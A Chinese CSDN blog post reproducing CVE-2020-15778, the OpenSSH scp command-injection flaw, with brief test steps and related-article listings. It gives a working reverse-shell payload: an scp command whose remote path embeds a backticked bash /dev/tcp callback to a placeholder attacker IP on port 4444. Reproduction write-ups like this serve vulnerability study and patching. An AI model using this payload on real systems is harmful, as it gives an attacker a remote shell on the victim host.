CVE-2020-15778漏洞复现

最新推荐文章于 2024-05-16 15:09:44 发布
最新推荐文章于 2024-05-16 15:09:44 发布
阅读量1.1w 收藏 16
点赞数 2
分类专栏： cve
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43784056/article/details/107797249
版权 
产品：Openssh

影响的组件：SCP

漏洞版本：<= openssh-8.3p1

scp命令引发的命令注入

反弹shell的payload

scp 1.txt cracer@受害机ip:'`bash -i >& /dev/tcp/攻击机ip/4444 0>&1`/tmp/test.txt'

实战测试，这里使用本机进行测试

1、查看ssh版本，符合漏洞版本

ssh -V

2、先在本地新建好文件，用于上传

2、本地开启监听

3、使用scp命令注入成功反弹shell

 

参考文章：

https://github.com/cpandya2909/CVE-2020-15778/#vulnerability-title-scp-in-openssh-83p1-allows-eval-injection

0ne_
关注
  • 2
    点赞
  • 踩
  • 16
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
漏洞复现----CVE-2019-0708-RDP远程代码执行高危漏洞复现及利用
wwl012345的博客
08-22 3639
一、事件背景 2019年5月14日微软官方发布安全补丁，修复了Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708)，该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互，这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机，其方式与2017年WannaCry恶意软件的传播方式类似。微...
Jira 未经身份验证用户名枚举漏洞（CVE-2020-14181）复现
锋刃科技的博客
03-19 4121
简介 Atlassian Jira是企业广泛使用的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。 影响版本 Jira < 7.13.6 Jira 8.0.0 - 8.5.7 Jira 8.6.0 - 8.12.0 环境搭建 这里使用docker进行搭建 https://github.com/vulhub/vulhub/tree/master/jira/CVE-2019-11581 进入...
OpenSSH 命令注入漏洞(CVE-2020-15778)修复教程_openssh_8(1)
最新发布
m0_60607927的博客
05-16 477
2021年来，云主机进行了漏洞扫描，出现了大量openssh的漏洞，我尝试升级过8.4、8.5的版本。16、mysql的innodb如何定位锁问题，mysql如何减少主从复制延迟?2、在工作中，运维人员经常需要跟运营人员打交道，请问运营人员是做什么工作的?6、Squid、Varinsh和Nginx有什么区别，工作中你怎么选择?5、LVS、Nginx、HAproxy有什么区别?9、讲述一下Tomcat8005、8009、8080三个端口的含义？7、Tomcat和Resin有什么区别，工作中你怎么选择?
[MySQL漏洞修复]Red Hat 7环境MYSQL原地升级方案
百川东到海，何时复西归
03-09 2520
摘要:此方案适用于MySQL8.0.16之后的版本,升级后修复以下漏洞 Oracle MySQL Server组件安全漏洞(CVE-2019-5482); Oracle MySQL Server Server 安全漏洞(CVE-2020-14878); Oracle MySQL Server 安全漏洞(CVE-2020-1967); Oracle MySQL Server 安全漏洞(CVE-2020-14663); Oracle MySQL Server 安全漏洞(CVE-2020-14678); Orac
漏洞笔记--Jira 相关漏洞复现及利用
NoooEmotion的博客
01-28 3967
Atlassian Jira是企业广泛使用的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
【漏洞通告】WebLogic多个远程代码执行漏洞通告
爱国小白帽
04-15 1666
【漏洞通告】WebLogic多个远程代码执行漏洞通告 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)???? 今天 通告编号:NS-2020-0026 2020-04-15 TAG： WebLogic、CVE-2020-2801、CVE-2020-2883、CVE-2020-2884、CVE-2020-2915 漏洞等级： 高，攻击者利用此类漏洞，可实现...
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
本篇将详细讨论如何修补OpenSSH中的几个已知漏洞，包括CVE-2020-15778、CVE-2018-15473、CVE-2018-15919。 首先，让我们了解这些特定的漏洞： 1. CVE-2020-15778：这是一个与OpenSSH密钥协商过程相关的漏洞，可能...
CVE-2020-35728:CVE-2020-35728 和 Jackson-databind RCE
05-31
描述 2.9.10.8 之前的 FasterXML jackson-databind 2.x 错误处理了与 ... web/javax.servlet.jsp.jstl）。 如何RCE pom.xml <?xml version="1.0" encoding="UTF-8"?>...
cve-2020-14750.zip9（补丁升级）
05-26
2020年11月2日，Oracle官方发布了此安全警报针对Oracle WebLogic Server中的远程代码执行漏洞CVE-2020-14750，此漏洞可以在没有身份验证的情况下进行远程攻击，也就是说，可以在不需要用户名和密码的情况下通过网络进行攻击。 建议大家及时将 Weblogic 升级到最新版本。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
CVE-2020-15778 openssh漏洞修复
N07ME的博客
12-11 6830
漏洞描述 https://access.redhat.com/security/cve/cve-2020-15778 简单来说，就是scp命令是可以注入特殊字段，在目标主机上执行指令的。 原理是因为scp是通过ssh实现的，一样的需要用户名和密码才能登陆。也就是说，这个漏洞其实针对的是那些禁用了ssh但是没禁用scp的主机，针对这些主机，可以从外部通过scp实现和ssh一样的功能。 漏洞修复方案 1.升级到openssh-8.4以上的版本 （要求操作系统版本在centos 8及以上） 2.禁用scp命令 m
Weblogic核心组件反序列化漏洞修复方案（CVE-2020-14825）
数据库生态圈（RDB & NoSQL & Bigdata）——专注于关系库优化（Oracle&Mysql&PG&SQL Server ）
01-15 1184
本文源自：http://blog.itpub.net/28833846/viewspace-2729563/ 一、漏洞描述 2020年10月20日，Oracle官方网站公布了的关于WebLogic安全漏，其中漏洞风险最高的是weblogic server服务漏洞它对应CVE编号是CVE-2020-14882，WebLogicServer Core组件的安全漏洞对应CVE编号是CVE-2020-14841和 CVE-2020-14825。这些漏洞需要运维项目中重点关注，漏洞攻击的目标是未经身份验证的...
CVE2020-1938漏洞复现
千寻的博客
03-10 3043
文章目录0x00 漏洞介绍0x01影响版本受影响版本不受影响版本0x02 漏洞环境0x03 漏洞复现0x05 漏洞修护情况一更新高版本情况二 如未使用Tomcat AJP协议情况三 如果使用了Tomcat AJP协议免责声明本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责！ 0x00 漏洞介绍 2020年1月6日，国家信息安全漏洞共享平台（CNVD） ...
再谈cve-2019-0708漏洞最新事情，更新poc及个人说明
Summer's blog
05-13 7499
距离CVE-2019-0708漏洞出现的了有一段时间了，在此期间poc都更新了几个版本。有人也来问过我具体这个漏洞怎么利用、实现。我在篇文章里面会有统一的回答一下我的见解，希望的大佬们不要喷，以下纯属与个人看法。理解不对希望可以指出。 第一，我觉得这个是新爆出的巨大的微软系统漏洞，exp一下是不可能出现的，最近国家在网络上也有些行动的。我建议大家不要这么心急，去想着怎么利用这个漏洞。目前我...
OpenSSH 命令注入漏洞(CVE-2020-15778)修复
u013259937的博客
04-27 3924
OpenSSH 命令注入漏洞(CVE-2020-15778)修复 详细描述： OpenSSH（OpenBSD Secure Shell）是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 8.4p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中，网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。 解决办法：
查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)
weixin_39707536的博客
12-06 1603
OpenSSH命令注入漏洞复现(CVE-2020-15778)目录漏洞描述漏洞等级漏洞影响版本漏洞复现修复建议▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听，连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发， 并以BSD样式的许可证提供，且已被集成到许多商业产品中。 2020年6月9日，研...
OpenSSH命令注入漏洞（CVE-2020-15778）
weixin_41182861的博客
09-25 5090
漏洞简述 OpenSSH是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效防止窃听、连接劫持以及其他攻击。 实际环境汇中的利用场景： 对于用户来说，ssh被阻止，但在authorized_keys文件中的命令选项允许使用scp的情况下，可以绕过此限制并在远程服务器上执行命令。也就是说，实际中通过各种手段获取到ssh的用户密码，但是不允许ssh连接，或者IP连接受限等情况下，可以尝试此漏洞进行利用。 涉及版本：OpenS
CVE-2020-15778 漏洞利用
09-01
很抱歉，但我无法提供关于CVE-2020-15778漏洞利用的引用内容。根据我所了解的，CVE-2020-15778是一个具有远程执行代码风险的漏洞，但我无法提供具体的漏洞利用信息。如果您对该漏洞有任何疑问，建议您查阅相关的安全公告和资料，以了解更多详细信息和相应的修复方法。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [SAP_RECON:CVE-2020-6287，CVE-2020-6286的PoC（SAP RECON漏洞）](https://download.csdn.net/download/weixin_42099530/16285854)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [CVE-2020-15778漏洞复现](https://blog.csdn.net/m0_58606546/article/details/121630058)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值